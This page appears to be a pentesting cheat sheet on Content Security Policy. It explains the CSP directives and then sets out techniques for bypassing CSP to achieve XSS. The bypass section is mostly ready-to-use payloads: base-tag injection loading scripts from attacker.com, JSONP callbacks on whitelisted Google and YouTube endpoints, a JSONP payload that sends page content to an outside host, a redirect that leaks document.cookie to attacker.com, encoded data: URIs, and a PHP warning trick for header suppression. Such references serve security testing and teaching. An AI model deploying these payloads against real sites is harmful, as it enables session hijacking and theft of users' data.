Skip to content

🛡️ Content Security Policy (CSP)

The Content Security Policy (CSP) is a browser security measure designed to prevent certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. Each browser applies this logic, but implementations can vary slightly across browsers like Firefox and Chrome.

Resources

Payloads

What is a CSP ?

A Content Security Policy (CSP) is implemented by a web server to define which content is allowed to be loaded by the browser. This is done through HTTP headers like:

txt
Content-Security-policy: default-src 'self'; script-src 'self' site.allowed.com; img-src 'self' allowed.com; style-src 'self';

What is the differents rules ?

There are multiple CSP directives, each serving different purposes to enhance security.

⚙️ Common Directives

plaintext
default-src  : Serves as a fallback for other fetch directives. Defines default content sources.
script-src   : Specifies valid sources for JavaScript. Helps prevent XSS attacks.
style-src    : Specifies valid sources for stylesheets (CSS).
img-src      : Specifies valid sources for images (e.g., '<img>', CSS backgrounds, etc.).
font-src     : Specifies valid sources for fonts.
connect-src  : Specifies valid sources for 'XHR', 'WebSocket', and EventSource connections.
media-src    : Specifies valid sources for audio and video elements.
object-src   : Specifies valid sources for '<object>', '<embed>', and <applet> elements.
frame-src    : Specifies valid sources for embedded frames ('<iframe>').

🧩 Additional Directives

plaintext
child-src (deprecated)      : Deprecated. Was used for workers and frames. Replaced by worker-src and frame-src.
worker-src                  : Specifies valid sources for web workers and shared workers.
manifest-src                : Specifies valid sources for web app manifests.
prefetch-src                : Specifies valid sources for <link rel="prefetch"> and similar.
base-uri                    : Restricts the URLs allowed in the <base> element.
form-action                 : Restricts the URLs forms can be submitted to.
frame-ancestors             : Specifies which parents can embed the page (anti-clickjacking).
navigate-to                 : Controls which URLs the page can navigate to (e.g., via window.location).
sandbox                     : Enables a sandboxed context, like the iframe sandbox attribute.
upgrade-insecure-requests   : Automatically upgrades HTTP requests to HTTPS.
block-all-mixed-content     : Prevents loading any HTTP content when the page is loaded over HTTPS.
report-uri (deprecated)     : Specifies endpoint for violation reports (deprecated in favor of report-to).
report-to                   : Defines a group (via Report-To header) for CSP violation reports.
require-sri-for             : Requires Subresource Integrity (SRI) for specified types (script, style).
trusted-types               : Enforces use of Trusted Types to protect against DOM-based XSS.
require-trusted-types-for   : Requires Trusted Types for all script sinks in the document.

🔐 Common Source Values

plaintext
*                : This allows any URL except 'data:' 'blob:' 'filesystem:' schemes
'self'           : Allow content from the same origin as the document.
'none'           : Block all content of that type.
'unsafe-inline'  : Allow inline JavaScript or CSS (not recommended, insecure).
'unsafe-eval'    : Allow use of 'eval()' and similar JavaScript features (highly insecure).
data:            : Allow content to be loaded from data URIs.
https:           : Allow content only over secure HTTPS connections.
http:            : Allow content over HTTP (discouraged on HTTPS sites).
blob:            : Allow content loaded via blob URIs.
filesystem:      : Allow content from the browser’s file system APIs.
<scheme>:        : Allow a specific scheme (e.g., 'ws:', 'ftp:', etc.).
<host>           : Allow content from a specific domain (e.g., https://*.example.com).

Bypass CSP

There are multiple reason to bypass a CSP:

Bypassing nonce

The nonce CSP is a random value injected in <script nonce="random-value">, who is regenerate at each page as loading.

none random value

The first bypass to nonce is a none random value, if the value of nonce is no regenerated at each response by server, you can know at advanced the value of nonce and forged your payload with nonce value like a trust payload.

If value is based on cache, exploit a cache poisioning.

html
<script nonce="abc123">alert(1);</script>

random value

If the value is of nonce is regenerated and the HTML tag can be injected, you can exploit a path overwrite :

Requirements:

  • CSP like script-src 'nonce-RANDOM_NONCE'
  • Imported JS file with a relative link on the vulnerable website :
html
<!-- script include with a relative path -->
<script src='/assets/js/script.js'></script>

If the script tag includes a file script with a relative path overwrite :

Payload:

  • Inject a base tag in the user input vulnerable.
html
<base href=http://www.attacker.com>
  • On your server, host the custom js file at the same path as one of the website scripts.
bash
http://www.attacker.com/assets/js/script.js # evil script on the attacker's server

The <script> tags on the vulnerable site are based on the <base> HTML tag injected above and therefore it will be the script.js on the attacker's site that will be executed.

You can also refresh the page to assure the <base> tag will be interpreted.

html
<meta http-equiv="refresh" content="0" /><base href=http://www.attacker.com>

JSONP

If the vulnerable server have configurated the CSP and than script-src allowed url like:

script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

You can use exploit the json callback.

Payload:

Use a callback function from a whitelisted source listed in the CSP.

  • Google Search: //google.com/complete/search?client=chrome&jsonp=alert(1);

  • Google Account: https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)

  • Google Translate: https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();

  • Youtube: https://www.youtube.com/oembed?callback=alert(1);

  • PayloadAlltheThings list of JSONP payloads

  • JSONBee

html
<script src="https://accounts.google.com/o/oauth2/revoke?callback=document.location=encodeURI('//open-trace.com/create-request/url?f='.concat(document.getElementsByClassName('message')[0].innerHTML));" defer></script>

Bypass CSP unsafe-inline

To bypass this you can another tag than <script> like <svg> or <img> with event in attribute HTML.

Mozilla : Allows the use of inline resources, such as inline script elements, javascript : URLs, inline event handlers, and inline style elements. The single quotes are required.

html
<img src="x" onerror="alert(1)">
<svg onload="alert(1)">

Bypass CSP unsafe-eval

Use an encoded paylaod:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

Bypass CSP script-src: self

The CSP directive script-src 'self' allows <script> elements to load JavaScript only from the same origin (domain, protocol, and port) as the page.

Payloads:

html
<img src="data:image/svg+xml,<svg onload='alert(1)'></svg>">
<embed src="javascript:alert(document.cookie)"> <!-- javascript: disable if csp [script-src 'unsafe-inline'] is enable -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

Misconfiguration

On many sites, this CSP can be configured like this:

txt
Content-Security-Policy: script-src 'self' https://*.google.com https: data *;

In this case, the google subdomains are allowed, you can use JSONP or buy the google server and include your malicious script.

Bypass CSP media, video, frame, default, object

These CSP directives apply to embedded or visual content such as:

html
<object> <iframe> <img> <video> <svg> <embed>

If one of these directives is misconfigured or missing, it may be possible to exploit it.

html
<iframe src="//attacker.com/evil.html"></iframe>
<object data="//attacker.com/evil.html" type="text/html"></object>
<img src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>">
<embed src="//attacker.com/exploit.swf" type="application/x-shockwave-flash">
<video src="//attacker.com/fake.mp4"></video>

If developper has forgotten a CSP directive related to media (like video, frame or object), use that to exploit the XSS.

Bypass CSP script-src: data

This CSP prevent browser to load a <script> with data:// wrapper

html
<script src="data:,alert(1)">/</script>

Bypass connect-src: none

⚠️ Note: To bypass the CSP, avoid using http:// or https:// — instead, use a protocol-relative URL like //attacker.com.

txt
Content-Security-Policy: default-src 'self'; connect-src 'none';

In this case the following functions are disabled :

js
fetch();
new XMLHttpRequest();
new WebSocket();
new EventSource();

Payloads to Bypass :

html
<svg onload="window.location = '//attacker.com/?cookie=' + document.cookie">

Bypass CSP header sent by PHP

If CSP are sent by PHP header() function.

In default php:apache image configuration, PHP cannot modify headers when the response's data has already been written. This event occurs when a warning is raised by PHP engine.

Here are several ways to generate a warning:

  • 1000 $_GET parameters
  • 1000 $_POST parameters
  • 20 $_FILES

If the Warning are configured to be displayed you should get these:

  • Warning: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
  • Warning: Cannot modify header information - headers already sent in /var/www/html/index.php on line 2
ps1
GET /?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a...[REPEATED &a 1000 times]&a&a&a&a

Source: PayloadsAllTheThings

Others Bypass

Dangling Markup

Dangling markup it use to exfiltrate content of the page if html tags can be injected but the CSP is very strict.